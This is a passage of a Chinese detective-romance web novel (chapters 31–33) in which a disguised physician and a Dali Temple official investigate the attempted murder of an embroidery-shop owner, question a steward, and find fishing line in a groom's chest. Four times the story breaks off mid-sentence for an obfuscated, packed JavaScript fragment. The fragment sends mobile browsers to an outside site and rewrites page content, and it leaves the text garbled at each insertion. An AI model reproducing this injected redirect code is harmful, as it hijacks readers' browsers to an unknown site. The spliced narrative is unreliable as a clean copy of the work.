吴昭音继续诚恳道：“人命关天，望大人三思。花掌柜对我有救命之恩，我岂会害她？若我施救有误，民女甘愿领罚。”说罢，她缓缓地摘下了面纱，露出了骇人的胎记，所有人见状都倒吸一口凉气，苏彦清亦难掩惊讶之色。 苏彦清看着她眼中的急切与坚定，心中竟生出一丝信任。“好。”他点头道，“你且试试。” 连枝还欲阻拦，却被陈聘的目光逼退。吴昭音深吸一口气，戴上面纱，又轻轻揭开花蓉的衣领，露出锁骨下方的穴位。她从袖中取出银针，在烛火上略作烘烤，便精准地刺入人中、内关等穴位。 就在此时，仵作余晖匆匆赶到。“大人。”他喘着气，“听说有人……呃，还是活的？“看到花蓉微微起伏的胸口，尴尬地挠了挠头，将手中的刀剪收了回去。 “先检查外伤。“苏彦清吩咐道。 余晖点点头，戴上手套，开始仔细检查花蓉的伤势。“脖子上有细而深的勒痕，若力度和时间足够是可以致死的。“他皱眉道，“从痕迹来看，凶器应该是韧性较好的丝线，但又不同于普通的纺织线。“他翻开花蓉的右手，只见指甲缝里嵌着几根棕褐色的毛发，“这些毛发卷曲、粗硬，像是男人的胡子。“ “男人？咱们席春阁只有一个男人？“绣娘们窃窃私语道。 陈聘好奇道：“是谁？“ “是送货的马夫。“一绣娘道。 “马夫可在这里？“苏彦清环顾四周。 苏彦清传唤声未落，一跛足马夫从众绣娘身后挤来。只见他眉如柳叶，下颌光净，粗布短打难掩秀气，最惹眼处是一双手，纤细洁净得堪比绣娘，他怯怯低声道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763214|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小的叫马三，大人可是找我？” 苏彦清正欲开口，被余晖的突然出声所打断。 “头部有明显肿块，“余晖头也不抬地继续道，“应该是受到了钝器击打，头皮下有血肿，甚至能感受到轻微的凹陷。“ “钝器。“苏彦清又看了看四周，放眼望去净是些布匹和织机，除了几个檀木木梭，就没有更坚硬又趁手的物件了。 吴昭音闻言，也立刻写下几幅方子，递给了苏彦清的手下，“劳烦去抓这些药，越快越好。“她摸了摸荷包，掏出仅有的几两银子，“这是药钱。“ 苏彦清看着她忙碌的身影，心中的疑惑更甚。这个女子不仅会医术，还对花蓉如此关心，看她相貌，若非那她脸上的胎记，竟与武贤弟如此神似…… “姑娘贵姓？“苏彦清不动声色地问道。 “民女——姓茹，唤梦光。”吴昭音低头答道，“蒙花姐姐收留，在席春阁做些针线活。“ “茹……梦光……“苏彦清默念这个名字，目光落在她脸颊的胎记上，心中掀起波澜。梦光，孟光？正琢磨间，苏彦清忽见吴昭音荷包中滑出一角青色绣囊，囊面绣着一对鹣鸟，竟与自己那只别无二致。他下意识抚向腰间绣囊，一时恍了神。 “苏大人，“连枝的声音打断了他的思绪，“您看这勒痕，会不会是……卢府的管家？他今早来过，而且身形魁梧，也留着络腮胡……“ “可你不是听到他临走时，花掌柜还吆喝了一声么？我好像都听到了。“一绣娘道。 连枝张了张口，又闭上了嘴。 苏彦清挑眉，“哦？吆喝了一声，花掌柜喊了什么？那卢府管家又为何而来？“ “咳，就是喊了声‘卢叔慢走’，那管家说是来取绣品的……” “陈聘。”苏彦清转头吩咐，“再派几个人，去卢府将那位管家请到大理寺。就说——花掌柜出了事，需他过府问话。” “若他问起是何事？”陈聘问道。 “只说来了便知。” “是。”陈聘领命。 苏彦清继续喃喃道：“绣品——是什么绣品？” 吴昭音闻言，心中一凛。难道此事真的与那《百鸟朝凤》有关？可花掌柜有过交代，此事万万不能同第三人讲起。 众绣娘连连摇头。连枝说：“这件绣品，花掌柜守口如瓶，我们确实不知。“ 苏彦清似是发觉吴昭音的心思，开口问道：“茹姑娘在想什么？” 吴昭音垂眸道：“民女只是在像那勒痕是否与这焦味有关系。“ 苏彦清虽感受到了她的心口不一，仍朗声道：“来人，仔细搜查附近，尤其是角落和隐蔽之处，看看是否有燃物或其他可疑物品。” 趁衙役搜查间隙，苏大大探问道：“茹姑娘，这绣囊是你自己绣的？” 吴小小一怔，旋即应道：“是。不过在我老家，这式样随处可见。”苏大大轻应一声“哦”，敛眸不语。他也不知自己腰间那只绣囊从何而来，仿佛打记事起便在了。 不多时，所有手下都禀告并无发现异常。 这时，外出的一名手下也刚好买药而归。花蓉吩咐一个绣娘将其中部分草药拿到后厨熬制，并取出其中部分拈作香柱燃了起来，不一会功夫，花掌柜的手指有微微颤动，众人都露出惊喜的神色。 31. 胭脂绯红 吴昭音盯着花掌柜颤动的手指，又摸了摸花掌柜的脉搏，叹了口气道：“估计一时半会还醒不了。” “啊……”众人一阵唏嘘。 “搬去卧房吧。”吴昭音的声音盖过绣娘们的私语，目光扫过立在墙角的跛脚马夫。那人正低头整理着绳索，青布衣裳洗得发白。 “我来搭手。”马夫抬头时，左眼角泪痣在烛火下泛着微光。虽然他腿上有疾，但他步履轻柔，抱起花掌柜的动作更是轻得像捧着一帘春水，腰间铜铃随动作轻响，铃身刻着并蒂莲，红丝线缠了三匝，末端还打着个双鱼结。 吴昭音别过眼神，转眸间发现此刻的连枝也在盯着那铃铛，脸颊还泛着一丝红晕。 卧房内窗明几净，当花掌柜被安置到绣着海棠花的床榻上时，绣娘春桃突然尖声叫起来：“师傅袖口有胭脂！” 月白缎面上的朱砂斑点如溅落的桃花，在烛光下泛着珊瑚色光泽。 绣娘月青出声道：“花掌柜素日连香粉都不用，生怕污了绣线，何况是这色泽浓烈的胭脂。” 吴昭音凑近闻了闻，鼻间突然窜入熟悉的檀木香。 “除了连枝，谁还敢用这颜色？”绣娘春桃轻声地小心翼翼地说道。 “上个月师傅才烧了她半匣子胭脂，昨儿她又偷偷买了新的！”绣娘月青忿忿道。 其他绣娘们霎时噤声，目光齐刷刷投向连枝。 吴昭音记得，昨日里路过绣房时，曾听见连枝用花掌柜的腔调训人：“丝线分十二色阶，针脚须如游丝……”语调学得惟妙惟肖，而此刻却只剩惨白。 “你们看我做什么？”连枝脸上胭脂未褪，与花掌柜袖口污渍别无二致，“就算我用胭脂，难道还能拿绣线勒死师傅？” 吴昭音思忖片刻，向苏彦清躬身道：“大人，眼下嘈杂，为免扰了花掌柜静养，可否请一干人等暂避？只留大人与我还有——连枝即可。” “好。”苏彦清扬声吩咐道，“其余人等各归其位，我的人在外听命即可。”众人闻言，陆续退出了卧房。 等众人离开后，吴小心温声向连枝问道：“你今早是否与花掌柜吵过架？” 连枝身形一震，发间螺钿簪子滑落半截：“是，我今早又顶嘴了，师傅掌掴了我，所以袖口沾了我的胭脂，可——可我平常任性的还少么？师傅似姐似母，我怎会因此要杀……我说都说不出口的！”她伤心地捧着自己的脸，忽然抓住吴昭音的手腕道：“对了，我还想起一事，卢家那单绣活，师傅本不想接的。”她忽然凑近低声说：“我亲眼看到的，那卢管家拿绣坊安危威胁了花掌柜！” 屋内气氛骤冷。 “卢家的事，我们自会查。”苏彦清目光扫过屋内，“除卢管家外，可还见过其他可疑之人？” “其他可疑之人？”连枝手指无意识地绞紧了衣领。 吴昭音接口问道：“亦是说，你见花掌柜之前，可曾见人从她房中出来？” “不曾……”连枝眼神闪烁，声音低了下去，“那之前……似乎只卢管家来过。” 苏彦清紧追不舍：“卢管家走时只身一人？那绣品他如何带走的？” “卢管家年岁大了，是租轿子走的。花掌柜还让马三哥送了他一程。”连枝脱口而出道。 吴昭音眸光微凝：“如此说来——马三也见过花掌柜？” “……嗯。”连枝抿紧嘴唇，几不可察地点了点头，接着又摆手道：“但定然不是马三哥，他连鸡都不敢杀！” 吴昭音颔首应道：“明白了。”又温言安抚连枝几句，便让她退下了。 烛火将苏彦清与吴昭音的影子投在屏风上，如两柄出鞘的刀。 “马三……”吴小心喃喃自语道。 “茹姑娘怀疑马夫？”苏彦清以指尖极轻地托起花蓉的腕子，又凝神审视那纤细脖颈上触目的勒痕，眉峰紧蹙。 “那马三好生奇怪，总觉得他不像个马夫。倒像个——” “哦？”苏彦清松开花蓉的手，那腕子无声地垂落下来，“像个什么？” 一旁的吴昭音见状，低声探询：“苏大人，可是瞧出什么异样？” 苏彦清目光未离伤处，沉声道：“此等细韧丝线，绞颈之痛，非比寻常。然观花掌柜周身，却寻不见半点挣扎抓挠之痕，衣物亦无扯乱迹象，甚是古怪。” 吴昭音眸光一闪，接口道：“如此说来…必是头伤在前，勒伤在后！且那头伤…”她顿了顿，语气愈发凝重，“必是雷霆一击，方能令其毫无反抗之力，所幸花掌柜命不该绝——” “正是此理。”苏彦清颔首，眼中疑云更浓，“既想一击致命，何须再施这勒颈之举？莫非…”他声音微沉，“是恐先前手段，力道犹有不足？” 吴昭音闻言，摇了摇头，唇角掠过一丝冷峭：“若忧其不死，何不补上数击？岂不更稳妥直接？” 此言一出，仿佛一道无形惊雷炸响在寂静的厢房之内！两人几乎同时抬首，目光如电，猝然交汇于空中。方才验查的种种细节——那致命却无挣扎的头伤、那多余却显从容的勒痕、那份诡异的平静——瞬间在彼此眼中拼凑成一个令人脊背生寒的真相。 两声低语，带着难以置信的寒意，在阴冷的空气里同时迸出：“两人作案！” 吴昭音眸光微凝，忽道：“苏兄，纸上谈兵终觉浅。不若…你我二人重演一番？”她从绣架旁挑了根丝线，然后径直行至开阔之处，理了理衣裙端坐下来，抬眸示意，“我便是花掌柜。苏兄，烦请扮作那…两位不速之客。”说完，举起手上的丝线递给苏彦清。 苏彦清会意，小心地接过。他身形一晃，仿佛瞬间分化出两道无形的影子。其一悄无声息地欺近吴昭音身后，掌缘如刀，迅疾而轻巧地在她后脑上方寸许处虚虚一斩——模拟那致命一击。吴昭音配合地闷哼一声，身子软软前倾。紧接着，苏彦清另一手已无声无息地绕至她颈前，指间捻着丝线，作势便要绞紧！ 恰在此时，吴昭音气息急促，低呼出声：“有人！” 苏彦清闻声，如惊弓之鸟，指间力道骤松，丝线瞬间脱手，整个人也下意识地疾退两步，警惕地望向紧闭的门扉。待定睛细看，廊外寂然无声，唯有夜风呜咽。 “你…！”苏彦清恍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763215|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然，无奈摇头。 吴昭音已自“尸身”状态直起身，颈间虽无真痕，方才那冰冷的丝线触感却犹在。她抚着咽喉，眼中锐光一闪：“瞧见没？这便是了！必是行凶之时陡生变故，或是察觉异响，那勒颈之人心中惊惧，仓促收手，故而只留浅痕，未至死地！” 苏彦清抚着下巴，踱步沉吟：“不错。既是仓皇罢手，急于遁走，现场理应留下些蛛丝马迹，譬如脚印凌乱、物件碰倒…可现场异常齐整，除却那…禽兽骨骼焦糊之气，岂非怪哉？” “正是此疑！”吴昭音接口，指尖轻叩桌面，“绣坊重地，最忌火星。每日掌灯、熄烛皆有严规，断无随意引火之理。那焦味来得蹊跷。若真与凶器有关，须臾焚毁，亦必留下煅痕灰烬。” 苏彦清眉头紧锁：“但经胥吏详查，现场确未见半点焚烧痕迹…除非…”他目光陡然锐利如鹰隼，投向方才那截被弃于地上的丝线，“除非所焚之物，纤细异常，瞬息成灰，不留形迹…譬如，这丝线？” 吴昭音闻言，眼波流转，追问道：“丝线？何等丝线，坚韧可勒颈，焚烧起来，竟有骨肉腥膻之气？” 静默一瞬，苏彦清眼底精光爆射，一个念头如电光石火般劈开迷雾，他脱口而出：“鱼鳔熬胶所制——鱼线！” 吴昭音拾起那截丝线，疑惑道：“可是钓线？” 苏彦清点点头道：“前者能够一招致命，力道沉猛，说明是个老手。但这鱼线么并非常见的凶器，会是谁的呢？” 吴昭音神色凝重：“席春阁中，能得用此鱼线者，屈指可数。不若今晚——民女便替大人找一找。” 苏彦清断然摆手：“不可！太过凶险！” 吴昭音目光沉静，反问道：“大人，坐守便能万全吗？” 见她目光灼灼，意甚坚决，苏彦清沉默片刻，终是叹了口气：“如此……便有劳姑娘了。”他神色转为郑重，“我会遣人暗伏于绣坊周遭。姑娘切记，若有异状，立时疾呼为号！”他目光微凝，忽又想起什么，“方才姑娘提到那马夫——” 吴昭音却似有些犹豫：“许是民女多心了……人不可貌相，确不该妄加揣测。” 见吴昭音欲言又止，苏彦清顿首温言道：“此间非公堂之上，姑娘但说无妨。今日若非姑娘相助，苏某怕要多费许多周章。”他语声微顿，目光似有追忆，“说来……姑娘神韵，倒与在下一位故人颇有几分相似……” 正言谈间，忽闻门外脚步急促，陈聘隔窗急禀：“苏大人！方才属下瞧见两个兄弟押着卢管家，正往大理寺方向去了！” 苏彦清闻言，神色一凛，当即起身，朝吴昭音拱手道：“茹姑娘，苏某需即刻赶往大理寺。此地……”他目光扫过花蓉静卧之处，语气沉凝，“便托付姑娘了。请务必照看周全，若有异动，速速来报，以免席春阁再生变故，殃及无辜。”， 吴昭音颔首：“大人放心。” 事不宜迟，两人目光交汇，再无赘言。苏彦清袍袖一振，转身随陈聘疾步而去。吴昭音立于门内，目送其背影消失在回廊尽头，幽暗的厢房内，唯余烛火跳动，映着她凝重的侧影。 32. 暮色惊狐 大理寺森严的正堂内，暮色已悄然浸染了窗棂，将堂内高悬的“明镜高悬”匾额镀上一层凝重的金边。苏彦清步履如风，官袍下摆卷起微尘，径直踏入。他刚从席春阁归来，眉宇间锁着化不开的凝重，仿佛连空气都因他的到来而滞涩了几分。 忽有一小卒来报，言府中朱公子差人送来书信，呈至苏彦清手中。苏彦清无暇细阅，便将其置于案上。 “提审卢府管家！”苏彦清声音不高，却带着不容置疑的穿透力，在空旷的堂内回荡。 少顷，卢管家被两名皂隶押上堂来。他身着上好的杭绸直裰，须发梳理得一丝不苟，脸色虽有些苍白，但眼神沉静，步履从容，尽显着户部侍郎卢府大管家的体面。他对着堂上的苏彦清微微躬身，礼数周全：“小人卢顺，见过苏少卿。”声音平稳，听不出丝毫慌乱。 “卢管家，”苏彦清的声音不高，却像淬了冰的薄刃，在死寂的鞫司内异常清晰，“今日申时三刻，你可是去了席春阁？”他开门见山，目光锐利如鹰隼。 卢顺的身子几不可察地僵了一下，眼皮倏地一颤，仿佛被无形的针尖刺中。但那失态转瞬即逝，他迅速恢复了那副恭谨谦卑的老仆模样，微微躬身，声音平稳地答道：“回苏大人话，正是。奉我家夫人之命，去取些新出的绣活样子，夫人近日想给小姐少爷们添几件春衫。”他答得流畅，理由也合情合理，仿佛事先已在心中默诵了千百遍。 “哦？绣活样子。”苏彦清轻轻重复，指尖在案上敲击出笃笃轻响，似在掂量这轻飘飘几个字的分量。“那今日席春阁掌柜花蓉遇害之事，你可知晓？” “遇害？”卢顺猛地抬起头，眼中瞬间填满了恰到好处的惊愕与茫然，如同平静湖面被骤然投入一颗石子，“竟有此事？小人……小人确实不知！今日离开时，席春阁内一切如常，人来人往的，花掌柜还亲自送小人到门口，言笑晏晏，怎会……”他叹息一声，摇头道，“真是飞来横祸，令人扼腕。不知是何等歹人如此凶残？”他声音里带着一丝颤抖，脸上血色褪去几分，那份震惊与悲痛，显得如此真切自然，几乎毫无破绽。 “不知便好。”苏彦清语气平淡无波，身体却微微前倾，无形的压迫感骤然增强，仿佛大堂里的空气又稀薄了几分，“本官再问你，你当日离开席春阁时，花掌柜可曾送你？可曾听到她说了什么？” 卢顺似乎被这突如其来的压迫感慑住，下意识地吞咽了一下，喉结滚动。他略一沉吟，眉头微蹙，像是在努力回忆，随即又舒展开，以一种不假思索的笃定口吻答道：“回大人，花掌柜当时似乎另有要事，并未亲自相送。她唤了马夫马三送小人出门。小人走至院中甬道时，只隔着那扇糊了素纱的菱花窗，”他抬手，虚指向大堂一侧，仿佛那里就立着那扇窗，“听得花掌柜在内唤了一声‘卢叔慢走’，声调……听着很是低沉，带着几分疲惫之意。”他描述得细致，仿佛那情景历历在目。 苏彦清的眼神骤然变得无比锐利，如同淬火的针尖，直刺卢顺眼底：“隔着窗……你是说，你先听到了花掌柜的送语，”他语速放得极慢，一字一顿，带着一种洞穿人心的力量，“然后，才见到马三出来送你？” “正是如此。”卢顺点头，神态坦然。 “当真？”苏彦清追问，声音陡然低沉下去，如同闷雷滚过云层，“隔着窗，先闻其声，再见其人？” 这细微的强调让卢顺的心猛地一沉。一丝极细微的慌乱，如同投入滚油的水滴，在他眼底深处炸开。他下意识地避开了苏彦清穿透性的目光，喉结上下滚动了一下，声音忽然变得有些游移：“呃……这……小人年纪大了，记性难免糊涂。或许……或许是先见了马三出来，才听到花掌柜的声音？又或者……是同时？”他语速渐快，带着一种欲盖弥彰的急促，“唉，当时急着回府复命，哪还记得那般真切？苏大人，这细枝末节之事，小人着实记不清了。”他微微佝偻了腰背，额角在昏暗光线下，竟渗出一层细密的、油亮的薄汗，眼神闪烁不定，方才那份滴水不漏的镇定，已然裂开了难以弥合的缝隙。 苏彦清冷眼看着他这瞬间的失态与改口，心中雪亮。那扇菱花窗，那声“慢走”，这老狐狸言语间的罅隙，已然暴露了他急于撇清却又无法自圆其说的窘迫。苏彦清不再纠缠于此，话锋如刀锋般陡然一转：“本官再问你一事，卢府近日从席春阁购入的，究竟是何绣品？” 这问题仿佛戳中了卢顺某个隐秘的痛点。他脸上那点残余的恭敬瞬间褪尽，代之以一种被冒犯的愠怒和抗拒。“苏大人！”他声音陡然拔高，带着一种世家豪奴特有的倨傲，“此乃我家夫人内宅私事！难道堂堂三品大员府上的家眷，置办些针头线脑的衣物用度，也需向大理寺一一报备不成？”他语带讥诮，眉梢挑起，“我们夫人持家素有贤名，克勤克俭，就连宫中的贵妃都称颂有加！何至于在此等微末小事上斤斤计较，倒像是审问起贼赃来了！小人并无此等私密之事禀告大人的义务！”他挺直了腰杆，一副凛然不可侵犯的姿态。 “内宅私事？”苏彦清轻轻嗤笑一声，那笑声在寂静的大堂里显得格外刺耳。他身体向后靠去，倚在坚硬的紫檀木椅背上，手指交叠置于腹前，姿态看似放松，眼神却愈发幽深难测，仿佛静待猎物踏入陷阱的猎人。“卢管家所言，倒也有几分道理。不过……”他故意停顿，欣赏着卢顺眼中一闪而过的紧张，“本官方才从席春阁回来，有个消息，或许能让你安心。” 卢顺的呼吸不由自主地屏住了，目光死死钉在苏彦清脸上。 苏彦清缓缓道：“花掌柜……她命大，并未当场毙命。那一击虽重，却偏了几分，颅脑损伤，至今仍昏迷不醒，宛若活死人一般躺在榻上。” “什么？！”卢顺如遭雷击，身体剧烈地一晃，仿佛脚下坚固的石板瞬间化为了流沙。那张保养得宜、布满岁月沟壑的老脸， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763216|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在摇曳的昏暗灯火下，血色瞬间褪得干干净净，惨白如蒙尘的宣纸，连嘴唇都在不受控制地微微哆嗦。 苏彦清仔细观察着卢顺的反应，继续用那平缓却字字诛心的语调说着：“不过卢管家放心，只要悉心调治，假以时日，花掌柜未必没有苏醒的可能……”他意味深长地拖长了尾音，目光如冰冷的探针，刺入卢顺剧烈震荡的眼底深处，“到那时，谁在她身后下了毒手，又是为了何事，自然就水落石出了。”苏彦清的目光陡然变得锐利如刀锋，“卢管家你的清白，也就能真正得以昭雪了，岂非好事？”他微微前倾，声音压得更低，如同赤蛇吐信。 什么？没死？！只是昏迷？！他明明……明明用了全力！那沉重坚硬的紫檀木梭砸下去时那沉闷的骨裂声，他记得清清楚楚！他卢顺替主家处理“麻烦”多年，手上从未失过准头，更未留过活口！这次怎么会……失手了？！ “不可能……不可能失手的……我……”极度惊骇之下，一句破碎的、带着绝望颤音的呓语，如同毒蛇出洞，猛地从他牙缝里挤了出来。话一出口，卢顺才如大梦初醒，意识到自己吐露了什么。他猛地抬头，撞上苏彦清那双洞悉一切、寒光凛冽的眼眸。一股寒气瞬间从脚底直冲天灵盖！他浑身筛糠般剧烈颤抖起来，后面的话硬生生卡在喉咙里，只剩下牙齿咯咯作响的声音在死寂中格外清晰。 “我……小人……”他喉咙发紧，声音干涩嘶哑，完全失了方寸。 苏彦清将他的失态尽收眼底，心中冷笑，面上却恢复了公事公办的平淡：“看来卢管家对此事也深感震惊。罢了，今日便到此为止。你且回府吧，若有需要，本官随时会再传唤你。记住，近期莫要离开京城，随时听候传唤。” 卢顺如同被赦免的死囚，浑浑噩噩地行了礼，脚步虚浮地被皂隶带了出去。跨出大理寺那威严高耸的门槛时，外面街道上喧嚣的人声才将他从巨大的恐惧中稍稍拉回现实。他猛地吸了一口微凉的空气，回头望了一眼那黑洞洞的大门，眼中掠过一丝狠戾与决绝——不行，花蓉必须死！她绝不能醒过来！ “跟上他，盯紧了！有任何异动，立刻来报！”苏彦清对着阴影中一个毫不起眼的便衣差役低声吩咐道。那差役如鬼魅般无声地点点头，迅速融入渐浓的夜色中。 苏彦清抚过腰间绣囊，提起案上笔，写了几行字，随即朝守在门口的陈聘唤了一声。 “大人有何吩咐？”陈聘应声上前。 “去查查席春阁那位茹姑娘。”苏彦清将写就的纸条随手递过，“看她何时进的临安城，祖籍何处。” “茹——梦——光……”陈聘念着名字，抬眼看向苏彦清，“大人莫非……疑心她？” 苏彦清摇摇头，故作漫不经心，“查查罢了，查查而已。” 垂眸间，苏彦清瞥见案头书函，旋即展信细观，只见其上赫然数字：“请大人明日速归苏府，有要事相商。” 33. 乾旦马夫 另一边，暮色也渐渐笼罩了席春阁。 雕花窗棂的阴影越拉越长，室内光线愈发昏沉。吴昭音守在花掌柜榻前，已不知过去了几个时辰。倦意如潮水般阵阵袭来，她倚着冰凉的黄花梨木床柱，眼皮沉得直往下坠。身子无意识地一歪，整个人猛地向前倾去，险些一头栽倒在脚踏上！这突如其来的失重感瞬间将她惊醒，心脏在胸腔里怦怦急跳。 她慌忙稳住身形，抬手揉了揉酸涩发胀的双眼，又深深吸了口气，试图驱散浓重的睡意。她站起身来，舒展了一下双臂，细微的骨节摩擦声在寂静的房间里显得格外清晰。榻上的花掌柜依旧气息微弱，纹丝不动。吴昭音蹙了蹙眉，转身走向紧闭的后窗，“吱呀”一声用力推开。 一股带着草木清冽气息的晚风立刻灌入，吹拂着她鬓边的碎发。她下意识地抬眼望向暮色四合的后院，目光漫无目的地扫过——却蓦地定住了。 只见马夫马三正背对着她，在院中那棵老槐树下给一匹枣红马添草料。他身材修长，捏着缰绳的手指格外纤长白皙，指尖微微翘起兰花状，那姿态，竟似女子拈着绣花针一般。这姿态让吴昭音看得心头一跳，这哪里是惯于使力气的马夫握缰？ 于是，从翌日早上起，吴昭音便开始不动声色地观察马三。她借着替花蓉煎药、或是在后院走动查看的由头，目光总会有意无意地扫过那间低矮的马房和拴着几匹驽马的桩子。马三的身影混迹其中，却显得如此格格不入。 在吴昭音的记忆里，吴府一直都有马夫，一般的马夫大都是被风吹日晒雕琢出的粗犷模样：膀大腰圆，皮肤黝黑粗糙如砂纸，手指关节粗大，指甲缝里嵌着洗不净的泥垢，周身弥漫着一股浓烈的、混合着汗味、马粪和干草料的浊重气息。他们吆喝马匹时，嗓音洪亮如钟，带着不容置疑的粗犷力道…… 可马三肩背单薄，腰肢甚至带着一丝文弱的纤细，挽起的袖口下，露出的不是虬结的筋肉，而是两截异常白皙、甚至显得有些细腻的小臂，不见风吹日晒的痕迹，反倒像常年藏在宽袍大袖里的书生腕子。 最蹊跷的是他的气味。在这充斥着牲口气息的马厩里，他身上竟未沾染半分。他唤马也极为特别，每次总是不自觉地将那嗓子再往上提一提，尾音拖得又轻又颤，带着一种刻意为之的婉转。 这些反常的细节在吴昭音心中越积越厚，疑云密布。 而连枝也将吴昭音的注视尽收眼底。晌午对坐饮茶时，她终是忍不住，将茶盏一搁，嗔道：“你莫不是瞧上那马三哥了？” 吴昭音闻言，一口茶险些呛住。忽地忆起马三腰间那系着红丝线的铃铛，与连枝当时的眼神，心下恍然，故意挑眉笑道：“怎么？不成么？” “你！”连枝气得指尖发颤，茶盘都晃了一晃。 “好妹妹，消消气！”吴昭音忙按住茶盘，忍笑告饶。 见吴昭音笑得眉眼弯弯，全无正形，连枝方缓了神色，指尖绕着帕子，低声咕哝：“哼…其实也无妨，倒显得我…慧眼识人。” 吴昭音给连枝倒了杯茶，探问道：“诶，连枝，我怎么感觉马三，瞧着……跟旁的马夫不大一样？” “那是当然，一般的马夫哪有这般俊俏的。”连枝喝口茶道。 吴昭音摇头道：“我指的不是这点。” 连枝闻言，叹了口气，脸上露出一丝惋惜：“我知道，你是不是觉得他不像个马夫？”见吴昭音点头，她继续道：“他呀……命也挺苦的。听说他原本不是干这粗活的。以前啊，是给城里某位官老爷府里的戏班子唱戏的，还是个角儿呢，唱的是乾旦！” “乾旦？”吴昭音心头猛地一跳。 “是啊，”连枝点点头，压低了声音，“可惜后来在台上出了岔子，脚受了重伤，再也登不了台了。那官老爷府里容不下吃闲饭的，就被打发了出来。他没什么别的营生本事，就辗转流落到咱们这儿，掌柜的看他可怜，就让他养马了。唉，真是可惜那嗓子和身段儿……” 连枝的话像一把钥匙，瞬间解开了吴昭音心中所有的疑惑。但她的疑心并没有消散，反而因这身份的揭露而变得更为凝重。可是……一个被迫离开舞台、隐藏身份的乾旦，为何会甘愿在席春阁做最底层的马夫？ 见吴昭音凝神不语，连枝敛容正色道：“此事知者甚少，你万不可与人言。” “哦?”吴昭音打趣道，“连枝妹妹这般关切于他？” 连枝颊边微红，指尖无意识地蜷了蜷袖口，低声道：“不过觉着…是个敦厚人罢了。” 当夜，更深露重。席春阁陷入一片死寂。吴昭音换上深色夜行衣，如同融入夜色的狸猫，悄无声息地潜向了后院的马房。 马厩里弥漫着牲口特有的温热气息和干草的味道。月光透过破旧的窗棂缝隙，在地面投下斑驳的光影。吴昭音屏息凝神，凭着白日的观察记忆，迅速摸到马三日常休息堆放杂物的小角落。那里堆着几捆干草、几件破旧的马具和一个半旧的木箱。 她小心翼翼拨开杂物，轻轻撬开木箱的旧搭扣。箱内是几件粗布衣物、几本破旧的戏本子，还有一根一人来高的鱼竿——木轴上赫然缠着着一根光滑的鱼线。 吴昭音瞳孔微缩。她立刻从怀中掏出一小卷随身携带的丝线。她将丝线拉直，一端固定，然后小心翼翼地用这丝线去丈量那卷鱼线的长度。一圈，两圈……她动作极轻，指尖感受着丝线的紧绷与鱼线的冰冷光滑。 不多不少，刚好五尺！ 吴昭音指腹用力，试探性地扯了扯那根鱼线——果然，入手处异常坚韧，纹丝不动。她心头刚掠过一丝了然，耳畔却骤然捕捉到厢房方向传来细微的窸窣声！吴昭音心头一凛，来不及细想，迅速地将鱼线往原处一拢，指尖灵巧地将其恢复成看似不经意的状态，随即屏住呼吸，猫着腰，悄无声息地向后退去，身影倏然没入廊柱后的阴影里。 回到房中，吴昭音躺在床上辗转反侧，最后她还是爬起来点亮了一盏如豆的油灯。她拿出纸笔，小心翼翼地写下：“马三，原为乾旦。马房藏五尺鱼线。速查。”写毕，她仔细确认无误，将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763217|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信笺小心折好，随即用与衙役们约定的暗哨唤来了附近的一名衙役。那衙役揣好信笺，趁着黎明前最深的夜色，如同游鱼般直奔大理寺而去。 卯时的大理寺内，依然灯火通明。苏彦清正对着案上户帖凝眉思索。 “你说，这茹姑娘该是半老徐娘的年纪？” “正是。”陈聘回道。 “可她——”苏彦清指节抵住眉心，一时语塞。 “那茹姑娘瞧着不过才二八年华。委实可疑。不如——卑职遣人盯着？” 恰在此时，送信的差役上堂呈上那张带着夜露微潮的信笺：“茹姑娘托卑职送来，请大人过目。” 苏彦清展信一看，吴昭音那熟悉的墨迹跃入眼帘，令他心头猛地一跳，急忙从一旁的万历柜中取出一个匣子，又从中抽出一张字条——两张字条上字迹秀润，如出一辙。他不禁神思一凛，但旋即又清醒过来般慌忙地展信细看。 